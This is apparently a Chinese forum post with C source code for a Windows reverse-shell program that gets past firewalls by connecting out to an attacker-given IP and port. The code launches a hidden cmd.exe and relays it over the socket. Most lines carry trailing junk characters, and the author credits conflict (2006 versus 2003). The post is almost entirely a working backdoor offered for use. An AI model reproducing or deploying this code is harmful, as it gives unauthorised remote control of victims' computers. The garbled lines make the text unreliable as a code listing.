这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >t7xa]G
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/* ============================== BusD}9QqB
Rebound port in Windows NT VlRN
By wind,2006/7 wX@&Qv
===============================*/ |`_qmk[:R
#include ?Q[uIQ?dV
#include ;0O3b
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#pragma comment(lib,"wsock32.lib") 8hba3L_Z
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void OutputShell(); |8PUmax
SOCKET sClient; `Gzukh
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ))|Wm}
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void main(int argc,char **argv) \k / N/&;
{ oh:q:St
WSADATA stWsaData; XWV)
int nRet; !ccKbw)J#
SOCKADDR_IN stSaiClient,stSaiServer; Re-~C[zwT
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if(argc != 3) I=6\z^:
{ $cEl6(66iX
printf("Useage:\n\rRebound DestIP DestPort\n"); \{@s@VBx[
return; /R^Moj<
} H !Z=}>TN
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WSAStartup(MAKEWORD(2,2),&stWsaData); ]3wg-p+
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?r0#{x~
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stSaiClient.sin_family = AF_INET; <uDEDb1|l
stSaiClient.sin_port = htons(0); w'z?1M(*
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #y%bx<A
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) J*$u
{ 2Un~Iy
printf("Bind Socket Failed!\n"); 1OK,r`
return; MKLnt X
} 5n!
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stSaiServer.sin_family = AF_INET; y`wTw/5N
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >;kCcfS3ct
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =)vmX0vL
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $7eO33Bm
{ i71,
printf("Connect Error!"); hX?L/yf
return; !cPiH6eO
} RB.&,1
OutputShell(); 3XdN\xc
} @-nCK Yj
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void OutputShell() S/G6NBnbS
{ 4zs1BiMG
char szBuff[1024]; x*&
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SECURITY_ATTRIBUTES stSecurityAttributes; H$TYp
OSVERSIONINFO stOsversionInfo; 0KO_bF#EB=
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; q+f]E&':
STARTUPINFO stStartupInfo; lMz5))Rr
char *szShell; La9v97H:
PROCESS_INFORMATION stProcessInformation; sc'QNhrW
unsigned long lBytesRead; *t J+!1
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); a)=WDRk
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); qOYCQ
stSecurityAttributes.lpSecurityDescriptor = 0; rStfluPL
stSecurityAttributes.bInheritHandle = TRUE; vKN"o* q
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gXN#<g,:^
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]Aap4+s
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); wU,{5 w
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7_C;-
stStartupInfo.wShowWindow = SW_HIDE; #mwV66'H
stStartupInfo.hStdInput = hReadPipe; R2WEPMH%
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; sKYb&2wJ
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GetVersionEx(&stOsversionInfo); |P7c {
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switch(stOsversionInfo.dwPlatformId) Kk+IUs
{ D|m6gP;P
case 1: hV|pH)Nu{
szShell = "command.com"; Bv_C *vW
break; Y)^qF)v,d
default: RNGTSz
szShell = "cmd.exe"; WGjT06a\
break; rB|Mp!g%@
} meunAEe
{;0j9rr
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'WK}T)o
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send(sClient,szMsg,77,0);
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while(1) {|?OKCG{
{ vWY}+#
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); BE. v+'c"
if(lBytesRead) i0DYdUj
{ vRa|lGeW
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); p6m](Jg
send(sClient,szBuff,lBytesRead,0); *n mr4Q'v{
} It'hmwu#
else #~?Q?"
{ g+Vfd(e
lBytesRead=recv(sClient,szBuff,1024,0); jqxeON
if(lBytesRead<=0) break; nM:e<`r
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); p'UY Ht
} {N1Ss|6
} /.<%y8v
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return; >B(%$jG Z
}